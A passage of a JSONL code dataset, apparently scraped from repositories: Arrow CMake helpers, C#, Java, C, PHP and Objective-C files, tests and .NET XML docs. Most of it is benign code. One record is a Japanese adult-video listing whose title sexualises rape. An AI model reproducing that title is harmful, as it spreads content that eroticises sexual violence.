way, the last component must be a globally\n# unique name.\n\n# The example will registered as unit test with ctest with a label\n# of 'example'.\n#\n# Arguments after the test name will be passed to set_tests_properties().\n#\n# \\arg PREFIX a string to append to the name of the example executable. For\n# example, if you have src/arrow/foo/bar-example.cc, then PREFIX \"foo\" will\n# create test executable foo-bar-example\nfunction(ADD_ARROW_EXAMPLE REL_EXAMPLE_NAME)\n set(options)\n set(one_value_args)\n set(multi_value_args EXTRA_LINK_LIBS DEPENDENCIES PREFIX)\n cmake_parse_arguments(ARG\n \"${options}\"\n \"${one_value_args}\"\n \"${multi_value_args}\"\n ${ARGN})\n if(ARG_UNPARSED_ARGUMENTS)\n message(SEND_ERROR \"Error: unrecognized arguments: ${ARG_UNPARSED_ARGUMENTS}\")\n endif()\n\n if(NO_EXAMPLES)\n return()\n endif()\n get_filename_component(EXAMPLE_NAME ${REL_EXAMPLE_NAME} NAME_WE)\n\n if(ARG_PREFIX)\n set(EXAMPLE_NAME \"${ARG_PREFIX}-${EXAMPLE_NAME}\")\n endif()\n\n if(EXISTS ${CMAKE_SOURCE_DIR}/examples/arrow/${REL_EXAMPLE_NAME}.cc)\n # This example has a corresponding .cc file, set it up as an executable.\n set(EXAMPLE_PATH \"${EXECUTABLE_OUTPUT_PATH}/${EXAMPLE_NAME}\")\n add_executable(${EXAMPLE_NAME} \"${REL_EXAMPLE_NAME}.cc\")\n target_link_libraries(${EXAMPLE_NAME} ${ARROW_EXAMPLE_LINK_LIBS})\n add_dependencies(runexample ${EXAMPLE_NAME})\n set(NO_COLOR \"--color_print=false\")\n\n if(ARG_EXTRA_LINK_LIBS)\n target_link_libraries(${EXAMPLE_NAME} ${ARG_EXTRA_LINK_LIBS})\n endif()\n endif()\n\n if(ARG_DEPENDENCIES)\n add_dependencies(${EXAMPLE_NAME} ${ARG_DEPENDENCIES})\n endif()\n\n add_test(${EXAMPLE_NAME} ${EXAMPLE_PATH})\n set_tests_properties(${EXAMPLE_NAME} PROPERTIES LABELS \"example\")\nendfunction()\n\n#\n# Fuzzing\n#\n# Add new fuzz target executable.\n#\n# The single source file must define a function:\n# extern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size)\n#\n# No main function must be present within the source file!\n#\nfunction(ADD_FUZZ_TARGET REL_FUZZING_NAME)\n set(options)\n set(one_value_args PREFIX)\n set(multi_value_args LINK_LIBS)\n cmake_parse_arguments(ARG\n \"${options}\"\n \"${one_value_args}\"\n \"${multi_value_args}\"\n ${ARGN})\n if(ARG_UNPARSED_ARGUMENTS)\n message(SEND_ERROR \"Error: unrecognized arguments: ${ARG_UNPARSED_ARGUMENTS}\")\n endif()\n\n if(NO_FUZZING)\n return()\n endif()\n\n get_filename_component(FUZZING_NAME ${REL_FUZZING_NAME} NAME_WE)\n\n # Make sure the executable name contains only hyphens, not underscores\n string(REPLACE \"_\" \"-\" FUZZING_NAME ${FUZZING_NAME})\n\n if(ARG_PREFIX)\n set(FUZZING_NAME \"${ARG_PREFIX}-${FUZZING_NAME}\")\n endif()\n\n # For OSS-Fuzz\n # (https://google.github.io/oss-fuzz/advanced-topics/ideal-integration/)\n if(DEFINED ENV{LIB_FUZZING_ENGINE})\n set(FUZZ_LDFLAGS $ENV{LIB_FUZZING_ENGINE})\n else()\n set(FUZZ_LDFLAGS \"-fsanitize=fuzzer\")\n endif()\n\n add_executable(${FUZZING_NAME} \"${REL_FUZZING_NAME}.cc\")\n target_link_libraries(${FUZZING_NAME} ${LINK_LIBS})\n target_compile_options(${FUZZING_NAME} PRIVATE ${FUZZ_LDFLAGS})\n set_target_properties(${FUZZING_NAME}\n PROPERTIES LINK_FLAGS ${FUZZ_LDFLAGS} LABELS \"fuzzing\")\nendfunction()\n\nfunction(ARROW_INSTALL_ALL_HEADERS PATH)\n set(options)\n set(one_value_args)\n set(multi_value_args PATTERN)\n cmake_parse_arguments(ARG\n \"${options}\"\n \"${one_value_args}\"\n \"${multi_value_args}\"\n ${ARGN})\n if(NOT ARG_PATTERN)\n # The .hpp extension is used by some vendored libraries\n set(ARG_PATTERN \"*.h\" \"*.hpp\")\n endif()\n file(GLOB CURRENT_DIRECTORY_HEADERS ${ARG_PATTERN})\n\n set(PUBLIC_HEADERS)\n foreach(HEADER ${CURRENT_DIRECTORY_HEADERS})\n get_filename_component(HEADER_BASENAME ${HEADER} NAME)\n if(HEADER_BASENAME MATCHES \"internal\")\n continue()\n endif()\n list(APPEND PUBLIC_HEADERS ${HEADER})\n endforeach()\n install(FILES ${PUBLIC_HEADERS} DESTINATION \"${CMAKE_INSTALL_INCLUDEDIR}/${PATH}\")\nendfunction()\n\nfunction(ARROW_ADD_PKG_CONFIG MODULE)\n configure_file(${MODULE}.pc.in \"${CMAKE_CURRENT_BINARY_DIR}/${MODULE}.pc\" @ONLY)\n install(FILES \"${CMAKE_CURRENT_BINARY_DIR}/${MODULE}.pc\"\n DESTINATION \"${CMAKE_INSTALL_LIBDIR}/pkgconfig/\")\nendfunction()\n\nfunction(ARROW_INSTALL_CMAKE_FIND_MODULE MODULE)\n install(FILES \"${ARROW_SOURCE_DIR}/cmake_modules/Find${MODULE}.cmake\"\n DESTINATION \"${ARROW_CMAKE_INSTALL_DIR}\")\nendfunction()\n\n# Implementations of lisp \"car\" and \"cdr\" functions\nmacro(ARROW_CAR var)\n set(${var} ${ARGV1})\nendmacro()\n\nmacro(ARROW_CDR var rest)\n set(${var} ${ARGN})\nendmacro()\n"} -{"text": "{\n \"typescript.check.workspaceVersion\": false\n}"} -{"text": "export interface ExcelMetadata {\n alignment?: any;\n border?: any;\n font?: any;\n format?: any;\n style?: any;\n type?: any;\n protection?: any;\n}\n"} -{"text": "// Copyright (c) 2018 Demerzel Solutions Limited\n// This file is part of the Nethermind library.\n// \n// The Nethermind library is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Lesser General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n// \n// The Nethermind library is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Lesser General Public License for more details.\n// \n// You should have received a copy of the GNU Lesser General Public License\n// along with the Nethermind. If not, see .\n\nusing System;\nusing System.Linq;\nusing Nethermind.Cli.Modules;\n\nnamespace Nethermind.Cli.Console\n{\n internal class AutoCompletionHandler : IAutoCompleteHandler\n {\n private readonly CliModuleLoader _cliModuleLoader;\n\n public AutoCompletionHandler(CliModuleLoader cliModuleLoader)\n {\n _cliModuleLoader = cliModuleLoader;\n }\n \n // characters to start completion from\n public char[] Separators { get; set; } = new char[] {' ', '.', '/'};\n\n // text - The current text entered in the console\n // index - The index of the terminal cursor within {text}\n public string[] GetSuggestions(string text, int index)\n {\n if (text.IndexOf('.') == -1)\n {\n return _cliModuleLoader.ModuleNames.OrderBy(x => x).Where(x => x.StartsWith(text)).ToArray();\n }\n\n foreach (string moduleName in _cliModuleLoader.ModuleNames)\n {\n if (text.StartsWith($\"{moduleName}.\"))\n {\n string methodPart = text.Substring(text.IndexOf('.') + 1);\n return _cliModuleLoader.MethodsByModules[moduleName].Where(x => x.StartsWith(methodPart)).OrderBy(x => x).ToArray();\n }\n }\n\n return null;\n }\n }\n}"} -{"text": "package soot.jimple.spark.ondemand.genericutil;\n\n/*-\n * #%L\n * Soot - a J*va Optimization Framework\n * %%\n * Copyright (C) 2007 Manu Sridharan\n * %%\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation, either version 2.1 of the\n * License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Lesser Public License for more details.\n * \n * You should have received a copy of the GNU General Lesser Public\n * License along with this program. If not, see\n * .\n * #L%\n */\n\nimport java.util.Arrays;\n\npublic class ImmutableStack {\n\n private static final ImmutableStack EMPTY = new ImmutableStack(new Object[0]);\n\n private static final int MAX_SIZE = Integer.MAX_VALUE;\n\n public static int getMaxSize() {\n return MAX_SIZE;\n }\n\n @SuppressWarnings(\"unchecked\")\n public static final ImmutableStack emptyStack() {\n return (ImmutableStack) EMPTY;\n }\n\n final private T[] entries;\n\n private ImmutableStack(T[] entries) {\n this.entries = entries;\n }\n\n public boolean equals(Object o) {\n if (this == o) {\n return true;\n }\n if (o != null && o instanceof ImmutableStack) {\n ImmutableStack other = (ImmutableStack) o;\n return Arrays.equals(entries, other.entries);\n }\n return false;\n }\n\n public int hashCode() {\n return Util.hashArray(this.entries);\n }\n\n @SuppressWarnings(\"unchecked\")\n public ImmutableStack push(T entry) {\n assert entry != null;\n if (MAX_SIZE == 0) {\n return emptyStack();\n }\n int size = entries.length + 1;\n T[] tmpEntries = null;\n if (size <= MAX_SIZE) {\n tmpEntries = (T[]) new Object[size];\n System.arraycopy(entries, 0, tmpEntries, 0, entries.length);\n tmpEntries[size - 1] = entry;\n } else {\n tmpEntries = (T[]) new Object[MAX_SIZE];\n System.arraycopy(entries, 1, tmpEntries, 0, entries.length - 1);\n tmpEntries[MAX_SIZE - 1] = entry;\n\n }\n return new ImmutableStack(tmpEntries);\n }\n\n public T peek() {\n assert entries.length != 0;\n return entries[entries.length - 1];\n }\n\n @SuppressWarnings(\"unchecked\")\n public ImmutableStack pop() {\n assert entries.length != 0;\n int size = entries.length - 1;\n T[] tmpEntries = (T[]) new Object[size];\n System.arraycopy(entries, 0, tmpEntries, 0, size);\n return new ImmutableStack(tmpEntries);\n }\n\n public boolean isEmpty() {\n return entries.length == 0;\n }\n\n public int size() {\n return entries.length;\n }\n\n public T get(int i) {\n return entries[i];\n }\n\n public String toString() {\n String objArrayToString = Util.objArrayToString(entries);\n assert entries.length <= MAX_SIZE : objArrayToString;\n return objArrayToString;\n }\n\n public boolean contains(T entry) {\n return Util.arrayContains(entries, entry, entries.length);\n }\n\n public boolean topMatches(ImmutableStack other) {\n if (other.size() > size()) {\n return false;\n }\n for (int i = other.size() - 1, j = this.size() - 1; i >= 0; i--, j--) {\n if (!other.get(i).equals(get(j))) {\n return false;\n }\n }\n return true;\n }\n\n @SuppressWarnings(\"unchecked\")\n public ImmutableStack reverse() {\n T[] tmpEntries = (T[]) new Object[entries.length];\n for (int i = entries.length - 1, j = 0; i >= 0; i--, j++) {\n tmpEntries[j] = entries[i];\n }\n return new ImmutableStack(tmpEntries);\n }\n\n @SuppressWarnings(\"unchecked\")\n public ImmutableStack popAll(ImmutableStack other) {\n // TODO Auto-generated method stub\n assert topMatches(other);\n int size = entries.length - other.entries.length;\n T[] tmpEntries = (T[]) new Object[size];\n System.arraycopy(entries, 0, tmpEntries, 0, size);\n return new ImmutableStack(tmpEntries);\n }\n\n @SuppressWarnings(\"unchecked\")\n public ImmutableStack pushAll(ImmutableStack other) {\n // TODO Auto-generated method stub\n int size = entries.length + other.entries.length;\n T[] tmpEntries = null;\n if (size <= MAX_SIZE) {\n tmpEntries = (T[]) new Object[size];\n System.arraycopy(entries, 0, tmpEntries, 0, entries.length);\n System.arraycopy(other.entries, 0, tmpEntries, entries.length, other.entries.length);\n } else {\n tmpEntries = (T[]) new Object[MAX_SIZE];\n // other has size at most MAX_SIZE\n // must keep all in other\n // top MAX_SIZE - other.size from this\n int numFromThis = MAX_SIZE - other.entries.length;\n System.arraycopy(entries, entries.length - numFromThis, tmpEntries, 0, numFromThis);\n System.arraycopy(other.entries, 0, tmpEntries, numFromThis, other.entries.length);\n }\n return new ImmutableStack(tmpEntries);\n }\n}\n"} -{"text": "#include \n#include /* ctrlc */\n#include \n\n#include \"hydra.h\"\n\nenum {\n\tHWVER_100 = 0,\n\tHWVER_110 = 1,\n\tHWVER_120 = 2,\n};\n\nstatic struct pci_device_id hydra_supported[] = {\n\t{ 0x6d5e, 0xcdc1 },\n\t{}\n};\n\nstatic struct ihs_fpga *fpga;\n\nstruct ihs_fpga *get_fpga(void)\n{\n\treturn fpga;\n}\n\nvoid print_hydra_version(uint index)\n{\n\tu32 versions = readl(&fpga->versions);\n\tu32 fpga_version = readl(&fpga->fpga_version);\n\n\tuint hardware_version = versions & 0xf;\n\n\tprintf(\"FPGA%u: mapped to %p\\n \", index, fpga);\n\n\tswitch (hardware_version) {\n\tcase HWVER_100:\n\t\tprintf(\"HW-Ver 1.00\\n\");\n\t\tbreak;\n\n\tcase HWVER_110:\n\t\tprintf(\"HW-Ver 1.10\\n\");\n\t\tbreak;\n\n\tcase HWVER_120:\n\t\tprintf(\"HW-Ver 1.20\\n\");\n\t\tbreak;\n\n\tdefault:\n\t\tprintf(\"HW-Ver %d(not supported)\\n\",\n\t\t hardware_version);\n\t\tbreak;\n\t}\n\n\tprintf(\" FPGA V %d.%02d\\n\",\n\t fpga_version / 100, fpga_version % 100);\n}\n\nvoid hydra_initialize(void)\n{\n\tuint i;\n\tpci_dev_t devno;\n\n\t/* Find and probe all the matching PCI devices */\n\tfor (i = 0; (devno = pci_find_devices(hydra_supported, i)) >= 0; i++) {\n\t\tu32 val;\n\n\t\t/* Try to enable I/O accesses and bus-mastering */\n\t\tval = PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER;\n\t\tpci_write_config_dword(devno, PCI_COMMAND, val);\n\n\t\t/* Make sure it worked */\n\t\tpci_read_config_dword(devno, PCI_COMMAND, &val);\n\t\tif (!(val & PCI_COMMAND_MEMORY)) {\n\t\t\tputs(\"Can't enable I/O memory\\n\");\n\t\t\tcontinue;\n\t\t}\n\t\tif (!(val & PCI_COMMAND_MASTER)) {\n\t\t\tputs(\"Can't enable bus-mastering\\n\");\n\t\t\tcontinue;\n\t\t}\n\n\t\t/* read FPGA details */\n\t\tfpga = pci_map_bar(devno, PCI_BASE_ADDRESS_0,\n\t\t\t\t PCI_REGION_MEM);\n\n\t\tprint_hydra_version(i);\n\t}\n}\n\n#define REFL_PATTERN (0xdededede)\n#define REFL_PATTERN_INV (~REFL_PATTERN)\n\nint do_hydrate(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[])\n{\n\tuint k = 0;\n\tvoid __iomem *pcie2_base = (void __iomem *)(MVEBU_REG_PCIE_BASE +\n\t\t\t\t\t\t 0x4000);\n\n\tif (!fpga)\n\t\treturn -1;\n\n\twhile (1) {\n\t\tu32 res;\n\n\t\twritel(REFL_PATTERN, &fpga->reflection_low);\n\t\tres = readl(&fpga->reflection_low);\n\t\tif (res != REFL_PATTERN_INV)\n\t\t\tprintf(\"round %u: read %08x, expected %08x\\n\",\n\t\t\t k, res, REFL_PATTERN_INV);\n\t\twritel(REFL_PATTERN_INV, &fpga->reflection_low);\n\t\tres = readl(&fpga->reflection_low);\n\t\tif (res != REFL_PATTERN)\n\t\t\tprintf(\"round %u: read %08x, expected %08x\\n\",\n\t\t\t k, res, REFL_PATTERN);\n\n\t\tres = readl(pcie2_base + 0x118) & 0x1f;\n\t\tif (res)\n\t\t\tprintf(\"FrstErrPtr %u\\n\", res);\n\t\tres = readl(pcie2_base + 0x104);\n\t\tif (res) {\n\t\t\tprintf(\"Uncorrectable Error Status 0x%08x\\n\", res);\n\t\t\twritel(res, pcie2_base + 0x104);\n\t\t}\n\n\t\tif (!(++k % 10000))\n\t\t\tprintf(\"round %u\\n\", k);\n\n\t\tif (ctrlc())\n\t\t\tbreak;\n\t}\n\n\treturn 0;\n}\n\nU_BOOT_CMD(\n\thydrate,\t1,\t0,\tdo_hydrate,\n\t\"hydra reflection test\",\n\t\"hydra reflection test\"\n);\n"} -{"text": "// Copyright 2017 Citra Emulator Project\n// Licensed under GPLv2 or any later version\n// Refer to the license.txt file included.\n\n#pragma once\n\n#include \"common/common_types.h\"\n#include \"common/vector_math.h\"\n\nnamespace Pica::Texture {\n\nCommon::Vec3 SampleETC1Subtile(u64 value, unsigned int x, unsigned int y);\n\n} // namespace Pica::Texture\n"} -{"text": "/*****************************************************************************\n ** Copyright (c) 2010 Ushahidi Inc\n ** All rights reserved\n ** Contact: team@ushahidi.com\n ** Website: http://www.ushahidi.com\n **\n ** GNU Lesser General Public License Usage\n ** This file may be used under the terms of the GNU Lesser\n ** General Public License version 3 as published by the Free Software\n ** Foundation and appearing in the file LICENSE.LGPL included in the\n ** packaging of this file. Please review the following information to\n ** ensure the GNU Lesser General Public License version 3 requirements\n ** will be met: http://www.gnu.org/licenses/lgpl.html.\n **\n **\n ** If you have questions regarding the use of this file, please contact\n ** Ushahidi developers at team@ushahidi.com.\n **\n *****************************************************************************/\n\n#import \n#import \"BaseTableViewController.h\"\n#import \"TextFieldTableCell.h\"\n#import \"BooleanTableCell.h\"\n#import \"SliderTableCell.h\"\n#import \"Email.h\"\n\n@class Email;\n\n@interface SettingsViewController : BaseTableViewController {\n\t\n@public \n\tUIBarButtonItem *cancelButton;\n\tUIBarButtonItem *doneButton;\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n@private\n\tNSString *userEmail;\n\tNSString *firstName;\n\tNSString *lastName;\n\tBOOL downloadMaps;\n\tBOOL becomeDiscrete;\n\tBOOL resizePhotos;\n\tNSInteger mapZoomLevel;\n\tNSInteger imageWidth;\n\tEmail *email;\n\tUIImage *logo;\n}\n\n@property(nonatomic,retain) IBOutlet UIBarButtonItem *cancelButton;\n@property(nonatomic,retain) IBOutlet UIBarButtonItem *doneButton;\n\n- (IBAction) cancel:(id)sender;\n- (IBAction) done:(id)sender;\n\n@end\n"} -{"text": " 'simple',\n Product::NAME => 'Simple Related Product',\n Product::TYPE_ID => 'simple',\n Product::PRICE => 10\n ],\n [\n Product::SKU => 'simple_with_cross',\n Product::NAME => 'Simple Product With Related Product',\n Product::TYPE_ID => 'simple',\n Product::PRICE => 10\n ],\n ];\n\n /**\n * @magentoApiDataFixture Magento/Store/_files/core_fixturestore.php\n * @magentoApiDataFixture Magento/CatalogSearch/_files/full_reindex.php\n * @magentoApiDataFixture Magento/Catalog/_files/product_simple.php\n */\n public function testGetMultiStore()\n {\n $productData = $this->productData[0];\n $nameInFixtureStore = 'Name in fixture store';\n /** @var $store \\Magento\\Store\\Model\\Group */\n $store = \\Magento\\TestFramework\\Helper\\Bootstrap::getObjectManager()->create(\\Magento\\Store\\Model\\Store::class);\n $store->load(self::STORE_CODE_FROM_FIXTURE);\n $this->assertEquals(\n self::STORE_NAME_FROM_FIXTURE,\n $store->getName(),\n 'Precondition failed: fixture store was not created.'\n );\n $sku = $productData[Product::SKU];\n /** @var \\Magento\\Catalog\\Model\\Product $product */\n $product = Bootstrap::getObjectManager()->create(\\Magento\\Catalog\\Model\\Product::class);\n $product->load($product->getIdBySku($sku));\n $product->setName($nameInFixtureStore)->setStoreId($store->getId())->save();\n $serviceInfo = [\n 'rest' => [\n 'resourcePath' => self::RESOURCE_PATH . '/' . $sku,\n 'httpMethod' => \\Magento\\Framework\\Webapi\\Rest\\Request::HTTP_METHOD_GET\n ],\n 'soap' => [\n 'service' => self::SERVICE_NAME,\n 'serviceVersion' => self::SERVICE_VERSION,\n 'operation' => self::SERVICE_NAME . 'get'\n ]\n ];\n\n $requestData = ['id' => $sku, 'sku' => $sku];\n $defaultStoreResponse = $this->_webApiCall($serviceInfo, $requestData);\n $nameInDefaultStore = 'Simple Product';\n $this->assertEquals(\n $nameInDefaultStore,\n $defaultStoreResponse[Product::NAME],\n 'Product name in default store is invalid.'\n );\n $fixtureStoreResponse = $this->_webApiCall($serviceInfo, $requestData, null, self::STORE_CODE_FROM_FIXTURE);\n $this->assertEquals(\n $nameInFixtureStore,\n $fixtureStoreResponse[Product::NAME],\n 'Product name in fixture store is invalid.'\n );\n }\n\n /**\n * Remove test store\n */\n public static function tearDownAfterClass(): void\n {\n parent::tearDownAfterClass();\n /** @var \\Magento\\Framework\\Registry $registry */\n $registry = \\Magento\\TestFramework\\Helper\\Bootstrap::getObjectManager()\n ->get(\\Magento\\Framework\\Registry::class);\n\n $registry->unregister('isSecureArea');\n $registry->register('isSecureArea', true);\n\n /** @var $store \\Magento\\Store\\Model\\Store */\n $store = \\Magento\\TestFramework\\Helper\\Bootstrap::getObjectManager()->create(\\Magento\\Store\\Model\\Store::class);\n $store->load('fixturestore');\n if ($store->getId()) {\n $store->delete();\n }\n\n $registry->unregister('isSecureArea');\n $registry->register('isSecureArea', false);\n }\n}\n"} -{"text": "#ifndef MPG123_SYNTH_H\n#define MPG123_SYNTH_H\n\n/* This is included inside frame.h, which is included in mpg123lib_intern.h,\n at the appropriate place.\n Explicit header inclusions here would cause circular dependencies. */\n\n/* The handle needs these types for selecting the decoding routine at runtime.\n Not just for optimization, mainly for XtoY, mono/stereo. */\ntypedef int (*func_synth)(real *,int, mpg123_handle *,int );\ntypedef int (*func_synth_mono)(real *, mpg123_handle *);\ntypedef int (*func_synth_stereo)(real *, real *, mpg123_handle *);\nenum synth_channel { c_plain=0, c_stereo, c_m2s, c_mono, c_limit };\nenum synth_resample\n{\n\t r_none=-1\n\t,r_1to1=0\n#\tifndef NO_DOWNSAMPLE\n\t,r_2to1\n\t,r_4to1\n#\tendif\n#\tifndef NO_NTOM\n\t,r_ntom\n#\tendif\n\t,r_limit\n};\nenum synth_format\n{\n\t f_none=-1\n#\tifndef NO_16BIT\n\t,f_16\n#\tendif\n#\tifndef NO_8BIT\n\t,f_8\n#\tendif\n#\tifndef NO_REAL\n\t,f_real\n#\tendif\n#\tifndef NO_32BIT\n\t,f_32\n#\tendif\n\t,f_limit\n};\nstruct synth_s\n{\n\tfunc_synth plain[r_limit][f_limit];\n\tfunc_synth_stereo stereo[r_limit][f_limit];\n\tfunc_synth_mono mono2stereo[r_limit][f_limit];\n\tfunc_synth_mono mono[r_limit][f_limit];\n};\n\n#endif\n"} -{"text": "\u6c34\u672c\u3042\u3093\u306a\u6700\u65b0\u756a\u53f7\n\u3010CD-500015\u3011\u7f8e\u4eba\u5973\u6559\u5e2b\u30fb\u72af\u3055\u308c\u4f53\u9a13 22007-10-25TM\u30af\u30ea\u30a8\u30a4\u30c8$$$\u30c1\u30a7\u30ea\u30fc99\u5206\u949f"} -{"text": "/*\n * Copyright 2017 Red Hat, Inc. and/or its affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.jbpm.integrationtests;\n\nimport java.io.Reader;\nimport java.io.StringReader;\n\nimport org.jbpm.integrationtests.test.Person;\nimport org.jbpm.process.instance.ProcessInstance;\nimport org.jbpm.ruleflow.instance.RuleFlowProcessInstance;\nimport org.jbpm.test.util.AbstractBaseTest;\nimport org.junit.jupiter.api.Test;\nimport org.kie.api.runtime.KieSession;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\npublic class ProcessRuleFlowGroupTest extends AbstractBaseTest {\n \n @Test\n public void testRuleSetProcessContext() throws Exception {\n Reader source = new StringReader(\n \"\\n\" +\n \"\\n\" +\n \"\\n\" +\n \"
    \\n\" +\n \"
    \\n\" +\n \"\\n\" +\n \" \\n\" +\n \" \\n\" +\n \" \\n\" +\n \" \\n\" +\n \" \\n\" +\n \" \\n\" +\n \"\\n\" +\n \" \\n\" +\n \" \\n\" +\n \" \\n\" +\n \" \\n\" +\n \"\\n\" +\n \"    \");\n Reader source2 = new StringReader(\n \"package org.jbpm;\\n\" +\n \"\\n\" +\n \"import org.jbpm.integrationtests.test.Person;\\n\" +\n \"import org.kie.api.runtime.process.ProcessContext;\\n\" +\n \"\\n\" +\n \"rule MyRule ruleflow-group \\\"MyGroup\\\" dialect \\\"mvel\\\" \\n\" +\n \" when\\n\" +\n \" Person( age > 25 )\\n\" +\n \" then\\n\" +\n \" System.out.println(drools.getContext(ProcessContext).getProcessInstance().getProcessName());\\n\" +\n \"end\");\n builder.addRuleFlow(source);\n builder.addPackageFromDrl(source2);\n\n KieSession workingMemory = createKieSession(builder.getPackages());\n workingMemory.getEnvironment().set(\"org.jbpm.rule.task.waitstate\", \"true\");\n \n Person person = new Person();\n person.setAge(30);\n workingMemory.insert(person);\n // start process\n RuleFlowProcessInstance processInstance = (RuleFlowProcessInstance)\n workingMemory.startProcess(\"org.drools.ruleset\");\n assertEquals(ProcessInstance.STATE_ACTIVE, processInstance.getState());\n workingMemory.fireAllRules();\n assertEquals(ProcessInstance.STATE_COMPLETED, processInstance.getState());\n }\n\n}\n"} -{"text": "\n\n \n System.Threading.Tasks\n \n \n \n Holds state related to the builder's IAsyncStateMachine.\n This is a mutable struct. Be very delicate with it.\n \n \n A reference to the heap-allocated state machine object associated with this builder.\n \n \n Initiates the builder's execution with the associated state machine.\n Specifies the type of the state machine.\n The state machine instance, passed by reference.\n The argument is null (Nothing in Visual Basic).\n \n \n Associates the builder with the state machine it represents.\n The heap-allocated state machine object.\n The argument was null (Nothing in Visual Basic).\n The builder is incorrectly initialized.\n \n \n \n Gets the Action to use with an awaiter's OnCompleted or UnsafeOnCompleted method.\n On first invocation, the supplied state machine will be boxed.\n \n Specifies the type of the method builder used.\n Specifies the type of the state machine used.\n The builder.\n The state machine.\n An Action to provide to the awaiter.\n \n \n Provides the ability to invoke a state machine's MoveNext method under a supplied ExecutionContext.\n \n \n The context with which to run MoveNext.\n \n \n The state machine whose MoveNext method should be invoked.\n \n \n Initializes the runner.\n The context with which to run MoveNext.\n \n \n Invokes MoveNext under the provided context.\n \n \n Cached delegate used with ExecutionContext.Run.\n \n \n Invokes the MoveNext method on the supplied IAsyncStateMachine.\n The IAsyncStateMachine machine instance.\n \n \n Provides a base class used to cache tasks of a specific return type.\n Specifies the type of results the cached tasks return.\n \n \n \n A singleton cache for this result type.\n This may be null if there are no cached tasks for this TResult.\n \n \n \n Creates a non-disposable task.\n The result for the task.\n The cacheable task.\n \n \n Creates a cache.\n A task cache for this result type.\n \n \n Gets a cached task if one exists.\n The result for which we want a cached task.\n A cached task if one exists; otherwise, null.\n \n \n Provides a cache for Boolean tasks.\n \n \n A true task.\n \n \n A false task.\n \n \n Gets a cached task for the Boolean result.\n true or false\n A cached task for the Boolean result.\n \n \n Provides a cache for zero Int32 tasks.\n \n \n The minimum value, inclusive, for which we want a cached task.\n \n \n The maximum value, exclusive, for which we want a cached task.\n \n \n The cache of Task{Int32}.\n \n \n Creates an array of cached tasks for the values in the range [INCLUSIVE_MIN,EXCLUSIVE_MAX).\n \n \n Gets a cached task for the zero Int32 result.\n The integer value\n A cached task for the Int32 result or null if not cached.\n \n \n Throws the exception on the ThreadPool.\n The exception to propagate.\n The target context on which to propagate the exception. Null to use the ThreadPool.\n \n \n Copies the exception's stack trace so its stack trace isn't overwritten.\n The exception to prepare.\n \n \n \n Provides a builder for asynchronous methods that return .\n This type is intended for compiler use only.\n \n \n AsyncTaskMethodBuilder is a value type, and thus it is copied by value.\n Prior to being copied, one of its Task, SetResult, or SetException members must be accessed,\n or else the copies may end up building distinct Task instances.\n \n \n \n Represents an asynchronous method builder.\n \n \n A cached VoidTaskResult task used for builders that complete synchronously.\n \n \n The generic builder object to which this non-generic instance delegates.\n \n \n Initializes a new .\n The initialized .\n \n \n Initiates the builder's execution with the associated state machine.\n Specifies the type of the state machine.\n The state machine instance, passed by reference.\n \n \n Associates the builder with the state machine it represents.\n The heap-allocated state machine object.\n The argument was null (Nothing in Visual Basic).\n The builder is incorrectly initialized.\n \n \n Perform any initialization necessary prior to lifting the builder to the heap.\n \n \n \n Schedules the specified state machine to be pushed forward when the specified awaiter completes.\n \n Specifies the type of the awaiter.\n Specifies the type of the state machine.\n The awaiter.\n The state machine.\n \n \n \n Schedules the specified state machine to be pushed forward when the specified awaiter completes.\n \n Specifies the type of the awaiter.\n Specifies the type of the state machine.\n The awaiter.\n The state machine.\n \n \n \n Completes the in the \n RanToCompletion state.\n \n The builder is not initialized.\n The task has already completed.\n \n \n \n Completes the in the \n Faulted state with the specified exception.\n \n The to use to fault the task.\n The argument is null (Nothing in Visual Basic).\n The builder is not initialized.\n The task has already completed.\n \n \n \n Called by the debugger to request notification when the first wait operation\n (await, Wait, Result, etc.) on this builder's task completes.\n \n \n true to enable notification; false to disable a previously set notification.\n \n \n \n Gets the for this builder.\n The representing the builder's asynchronous operation.\n The builder is not initialized.\n \n \n \n Gets an object that may be used to uniquely identify this builder to the debugger.\n \n \n This property lazily instantiates the ID in a non-thread-safe manner. \n It must only be used by the debugger, and only in a single-threaded manner\n when no other threads are in the middle of accessing this property or this.Task.\n \n \n \n \n Provides a builder for asynchronous methods that return .\n This type is intended for compiler use only.\n \n \n AsyncTaskMethodBuilder{TResult} is a value type, and thus it is copied by value.\n Prior to being copied, one of its Task, SetResult, or SetException members must be accessed,\n or else the copies may end up building distinct Task instances.\n \n \n \n A cached task for default(TResult).\n \n \n State related to the IAsyncStateMachine.\n \n \n The lazily-initialized task.\n Must be named m_task for debugger step-over to work correctly.\n \n \n The lazily-initialized task completion source.\n \n \n Temporary support for disabling crashing if tasks go unobserved.\n \n \n Initializes a new .\n The initialized .\n \n \n Initiates the builder's execution with the associated state machine.\n Specifies the type of the state machine.\n The state machine instance, passed by reference.\n \n \n Associates the builder with the state machine it represents.\n The heap-allocated state machine object.\n The argument was null (Nothing in Visual Basic).\n The builder is incorrectly initialized.\n \n \n Perform any initialization necessary prior to lifting the builder to the heap.\n \n \n \n Schedules the specified state machine to be pushed forward when the specified awaiter completes.\n \n Specifies the type of the awaiter.\n Specifies the type of the state machine.\n The awaiter.\n The state machine.\n \n \n \n Schedules the 